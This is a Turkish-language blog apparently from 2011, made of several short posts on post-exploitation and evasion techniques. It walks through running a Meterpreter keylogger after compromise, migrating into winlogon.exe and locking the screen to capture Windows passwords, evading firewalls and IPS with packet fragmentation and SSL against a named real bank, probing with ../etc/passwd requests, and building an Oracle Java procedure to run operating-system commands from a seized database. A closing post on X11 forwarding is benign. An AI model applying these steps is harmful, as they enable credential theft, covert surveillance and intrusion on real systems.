23 Kasım 2011 Çarşamba

Meterpereter Keylogger Sorunu

Evet,bazen nedense keylogger işlemiyor bu gibi durumlarda meterpereter session ı açtıktan sonra


run keylogrecorder -c 0 komutunu çalıştırırsanız
 
[*]     explorer.exe Process found, migrating into 2812
[*] Migration Successful!!
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to 
C:/Users/Faruk/.msf3/logs/scripts/keylogrecorder/....txt
[*] Recording
 
şeklinde bir sonuç alırsınız
 
yada
 
meterpreter > getsystem
 ...got system (via technique 1).
meterpreter > run keylogrecorder -c 0 -t 15
[*]     spshell.exe Process found, migrating into 1980 
 
bunu deneyebilirsiniz... 

windows şifresini almak için de önce winlogon.exe processine migrate olmanız gerekiyor.


meterpreter> ps
Process list
============
 
 PID   Name                 Arch  Session  User                         
 ---   ----                 ----  -------  ----                          
 0     [System Process]
 4     System               x86   0        NT AUTHORITY\SYSTEM
 544   smss.exe             x86   0        NT AUTHORITY\SYSTEM       
 608   csrss.exe            x86   0        NT AUTHORITY\SYSTEM         
 2976   winlogon.exe         x86   0        NT AUTHORITY\SYSTEM         
meterpreter > migrate 2976
[*] Migrating to 2976...
[*] Migration completed successfully.
 

 
c - açık olan oturumlardan hangisine bağlanmak istiyorsunuz.
    0 varsayılan ilk oturumdur.
l - kişiyi logoff olmaya zorlar bu asyede beklemeden windows 
    şifresini alabilirsiniz.
t - kaç saniyede bir keyleri almasını istiyorsunuz.

meterpreter> run keylogrecorder -c 1 -l -t 5
[*] Locking Screen...
[*] Screen has been locked
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf3/logs/scripts/...
[*] Recording
 
 
 
 
 
 

22 Kasım 2011 Salı

Killing user session remotely – windows

Bazen açık kalan session lardan dolayı uzak masaüstü maximum sayıya ulaştı diye bir hata alıyoruz bu durumlarda meterpereter ile session açıp shell e düştükten sonra

qwinsta komutu ile tüm sessionları listeleyebilirsiniz.

 örn
 SESSIONNAME       USERNAME           ID  STATE   TYPE        DEVICE
>                                   sysadmin                  0  Disc    rdpwd              
 rdp-tcp                                                  65536  Listen  rdpwd              
 console                                                         4  Conn    wdcon              
 rdp-tcp#34                   sainflexdb                1  Active  rdpwd              
 rdp-tcp#35                   sainflexdb                2  Active  rdpwd              


sonra logoff [session id] /v komutuyla istediğiniz sessionı sonlandırabilirsiniz.

25 Ağustos 2011 Perşembe

Firewall, IPS vb Atlatma


IPS'lerin çok başarılı olamamasının 2 nedeni:
Webden gelen saldırılar
Post-exploitation'da SSL üzerinden (socat, netcat, meterpreter) reverse-shell
Firewall, kural tablosuna (iptable) top-down bakar; bulduğu duruma uyan ilk kuralı çalıştırır ve tabloya bakmayı bırakır.
hackvertor.co.uk/public => Encoding ile ilgili akla gelen tüm yöntemlerin olduğu site.
Firewall var mı kontrolü:
Telnet ile bloklanacak bir talep (GET/POST) gönderilir. Mesela ../../../etc/passwd gibi
Sunucudan cevap dönmemesi (Connection closed by foreign host benzeri bir kesilme) durumunda web sunucuya ulaşmadan istek engelleniyor demektir.
Talebe sunucudan yanıt (response, 404 not found vb) dönmesi, isteğin sunucuya kadar ulaştığını, bir cihaz tarafından kesilmediğini / engellenmediğini gösterir.
Bu kontrolü yaparken telnet kullanmakta fayda var. Doğrudan browser üzerinden yapılacak denemelerde browserlar girilen URL üzerinde gerekli düzenleme yaparak (mesela /etc/./passwd gibi girilecek deneme stringini /etc/passwd olarak düzenleyip göndermek gibi) gönderebilir; istediğimiz kalıbı deneyememiş oluruz.
Atlatma Yöntemi: Packet Fragmentation.
IP fragmentation'ı kullanabilmek için "rp_filter" disable edilir.
$ echo 0 > /proc/sys/net/ipv4/conf/all/rp_filter; ya da
$ echo 0 > /proc/sys/net/ipv4/conf/eth0/rp_filter
Daha sonra fragmentation:
$ fragroute -f /usr/local/etc/fragroute.conf 95.173.123.112
Sonra telnet ile talep gönderilir. IPS doğru yapılandırılmadıysa sonuç sunucudan gelecektir; IPS'i atlattık demektir.
Atlatma Yöntemi: Encoding
Atlatma Yöntemi: SSL Kullanımı
telnet akbank.com 80 yerine
ncat --ssl akbank.com 443 kullanmak.
Layer-7 IPS ile SSL el sıkışma işi IPS tarafından yapılmadığı sürece SSL ile gönderilen taleplerin içeriğini IPS göremeyecek ve dolayısıyla talepler üzerinde kuralları işletemeyecektir.
Yanıtın IPS'ten mi, web/uygulama sunucudan mı döndüğü kontrolü:
Normal bir talep gönderilir; TTL değeri tespit edilir (WireShark vb kullanılabilir)
IPS tarafından engellenecek bir talep gönderilir; TTL değeri tespit edilir
İkisi karşılaştırılır. Sunucu TTL'i 256'dan, IPS 128'den düşüyor olabilir mesela, TTL değerleri oldukça farklı olacaktır bu gibi durumlarda.
LoadBalancer varlığı kontrolü:
Resimvb içerik, varsa loadbalancer cihaz üzerinden servis edilir. Sunucu ile LoadBalancer cihazların TTL politikaları farklıysa yanıtı kimin döndüğünü yorumlayabiliriz.
LoadBalancer atlatma yöntemi: Search. LoadBalancer buna birşey yapamaz. Eş zamanlı birçok arama gönderildiğini düşün.
Eğer Yazıyı Beğendiyseniz Aşağıdaki Google Reklamını Tıklamanızı Rica Ediyorum.

Kaynak: wug.blogspot.com

21 Temmuz 2011 Perşembe

Running shell script from PL/SQL

veritabanını ele geçirdiniz fakat hala işletim sistemine ulaşamıyorsanız önce aşağıdaki sql lleri çalıştırarak gerekli stored procedure u oluşturun

exec dbms_java.grant_permission ('DBA_ADMIN', 'java.io.FilePermission','/usr/bin/ps', 'execute');
exec dbms_java.grant_permission ('DBA_ADMIN','java.lang.RuntimePermission','*','writeFileDescriptor' );

Create or replace and compile
java source named “Util”
as
import java.io.*;
import java.lang.*;
public class Util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int rc = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =
new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
rc = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
rc = -1;
}
finally
{
return rc;
}
}
}
/




create or replace
function RUN_CMD(p_cmd in varchar2) return number
as
language java
name ‘Util.RunThis(java.lang.String) return integer’;
/




create or replace procedure RC(p_cmd in varchar2)
as
x number;
begin
x := run_cmd(p_cmd);
end;
/




sonra sqlplus ta aşağıdaki gibi kullanabilirsiniz.


variable x number;
set serveroutput on
exec dbms_java.set_output(100000);
exec :x := RUN_CMD(‘ls /oracle’);

24 Haziran 2011 Cuma

Enabling remote X-windows

konsol ile baglandiktan sonra direk
$ ssh -X host
komutunu calistirark xwindowlu tum uygulamalari yonlendirebilir yada

This will set the DISPLAY variable automatically and any X program you run will be automatically tunneled back through the ssh connection.

Otherwise we're going to need to enable it. Here's how:

1. Go to System->Administration->Login Window (or run gdmsetup as root)
2. Under the security tab uncheck "Deny TCP connections to Xserver"
3. Now we have to restart gdm which will kill our Xsession.
# kill -HUP `cat /var/run/gdm.pid`

or if you prefer to edit /etc/gdm.conf by hand, make sure there are no overriding settings in /etc/gdm.conf-custom. Under the security section change DisallowTCP to false.

Unfortunately we cannot use gdmflexiserver, only a gdm restart will work.



Remotely Displaying an Ubuntu Linux Application

The first step in remotely displaying an application is to move to the system where the application is to be displayed. At this system, ssh into the remote system so that you have a command prompt. This can be achieved using the ssh command. When using the ssh command we need to use the -X flag to tell ssh that we plan to tunnel X traffic through the tunnel:


ssh -X user@hostname

where username is the user name to use to log into the remote system and hostname is the hostname or IP address of the remote system. Enter your password at the login prompt. Once logged in, run the following command to see the DISPLAY setting:


echo $DISPLAY


The command should output something similar to the following:


localhost:10.0

To display an application simply run it from the command prompt. For example:


xclock

When run, the above command should run the xclock utility on the remote system, but display the output on the local system:


xclock&

[edit] Trusted X11 Forwarding



If the /etc/ssh/ssh_config file on the remote system contains the following line, then it is possible to use trusted X11 forwarding:


ForwardX11Trusted yes

Trusted X11 forwarding is slightly faster than untrusted since it does not engage the X11 security controls. The -Y flag is needed when using trusted X11 forwarding:


ssh -Y user@hostname

[edit] Compressed X11 Forwarding


When using slower links the X11 data can be compressed using the -C flag:



ssh -X -C user@hostname